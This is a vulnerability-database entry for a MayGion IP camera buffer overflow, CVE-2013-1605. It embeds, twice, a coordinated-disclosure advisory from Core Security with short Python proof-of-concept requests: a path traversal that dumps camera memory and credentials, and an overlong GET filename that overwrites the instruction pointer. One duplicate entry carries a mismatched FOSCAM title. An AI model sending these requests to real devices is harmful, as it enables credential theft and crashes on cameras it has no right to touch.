Vulnerabilities > CVE-2013-1605 - Improper Restriction of Operations Within the Bounds of A Memory Buffer vulnerability in Maygion IP Camera Firmware
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
PARTIAL Integrity impact
PARTIAL Availability impact
PARTIAL Summary
Buffer overflow in MayGion IP Cameras with firmware before 2013.04.22 (05.53) allows remote attackers to execute arbitrary code via a long filename in a GET request. Per: http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities "Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below"
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 8 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Exploit-Db
description | MayGion IP Cameras Firmware 09.27 - Multiple Vulnerabilities. CVE-2013-1604,CVE-2013-1605. Webapps exploit for hardware platform |
file | exploits/hardware/webapps/25813.txt |
id | EDB-ID:25813 |
last seen | 2016-02-03 |
modified | 2013-05-29 |
platform | hardware |
port | |
published | 2013-05-29 |
reporter | Core Security |
source | https://www.exploit-db.com/download/25813/ |
title | MayGion IP Cameras Firmware 09.27 - Multiple Vulnerabilities |
type | webapps |
Packetstorm
data source | https://packetstormsecurity.com/files/download/121787/CORE-2013-0322.txt |
id | PACKETSTORM:121787 |
last seen | 2016-12-05 |
published | 2013-05-28 |
reporter | Core Security Technologies |
source | https://packetstormsecurity.com/files/121787/MayGion-IP-Camera-Path-Traversal-Buffer-Overflow.html |
title | MayGion IP Camera Path Traversal / Buffer Overflow |
Seebug
bulletinFamily exploit description Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MayGion IP Cameras multiple vulnerabilities 1. *Advisory Information* Title: MayGion IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0322 Advisory URL: http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: MayGion Release mode: Coordinated release 2. *Vulnerability Information* Class: Path traversal [CWE-22], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1604, CVE-2013-1605 3. *Vulnerability Description* Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below, that could allow an unauthenticated remote attacker: 1. [CVE-2013-1604] to dump the camera's memory and retrieve user credentials, 2. [CVE-2013-1605] to execute arbitrary code. 4. *Vulnerable Packages* . MayGion IP cameras based on firmware 2011.27.09. . Other firmware versions are probably affected too but they were not checked. 5. *Non-Vulnerable Packages* . H.264 ipcam firmware 2013.04.22. 6. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. 7. *Technical Description / Proof of Concept Code* 7.1. *User Credentials Leaked via Path Traversal* [CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close() -----/ 7.2. *Buffer overflow* [CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close() -----/ 8. *Report Timeline* . 2013-05-02: Core Security Technologies notifies MayGion of the vulnerabilities. Publication date is set for May 29th, 2013. . 2013-05-02: Vendor asks for a report with technical information. . 2013-05-03: A draft advisory containing technical details sent to MayGion team. . 2013-05-03: Vendor notifies that all vulnerabilities were fixed in the last firmware version, released April 22nd, 2013. . 2013-05-09: Core asks for a list of affected devices and firmware. No reply received. . 2013-05-28: Advisory CORE-2013-0322 is published. 9. *References* [1] http://www.maygion.com 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. id SSV:80695 last seen 2017-11-19 modified 2014-07-01 published 2014-07-01 reporter nina_Q title FOSCAM IP-Cameras Improper Access Restrictions bulletinFamily exploit description Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MayGion IP Cameras multiple vulnerabilities 1. *Advisory Information* Title: MayGion IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0322 Advisory URL: http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: MayGion Release mode: Coordinated release 2. *Vulnerability Information* Class: Path traversal [CWE-22], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1604, CVE-2013-1605 3. *Vulnerability Description* Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below, that could allow an unauthenticated remote attacker: 1. [CVE-2013-1604] to dump the camera's memory and retrieve user credentials, 2. [CVE-2013-1605] to execute arbitrary code. 4. *Vulnerable Packages* . MayGion IP cameras based on firmware 2011.27.09. . Other firmware versions are probably affected too but they were not checked. 5. *Non-Vulnerable Packages* . H.264 ipcam firmware 2013.04.22. 6. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. 7. *Technical Description / Proof of Concept Code* 7.1. *User Credentials Leaked via Path Traversal* [CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close() -----/ 7.2. *Buffer overflow* [CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close() -----/ 8. *Report Timeline* . 2013-05-02: Core Security Technologies notifies MayGion of the vulnerabilities. Publication date is set for May 29th, 2013. . 2013-05-02: Vendor asks for a report with technical information. . 2013-05-03: A draft advisory containing technical details sent to MayGion team. . 2013-05-03: Vendor notifies that all vulnerabilities were fixed in the last firmware version, released April 22nd, 2013. . 2013-05-09: Core asks for a list of affected devices and firmware. No reply received. . 2013-05-28: Advisory CORE-2013-0322 is published. 9. *References* [1] http://www.maygion.com 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. id SSV:79467 last seen 2017-11-19 modified 2014-07-01 published 2014-07-01 reporter Root title MayGion IP Cameras Firmware 09.27 - Multiple Vulnerabilities
References
- http://osvdb.org/93708
- http://packetstormsecurity.com/files/121787/MayGion-IP-Camera-Path-Traversal-Buffer-Overflow.html
- http://seclists.org/fulldisclosure/2013/May/194
- http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities
- http://www.exploit-db.com/exploits/25813
- http://www.securityfocus.com/bid/60196
- https://exchange.xforce.ibmcloud.com/vulnerabilities/84590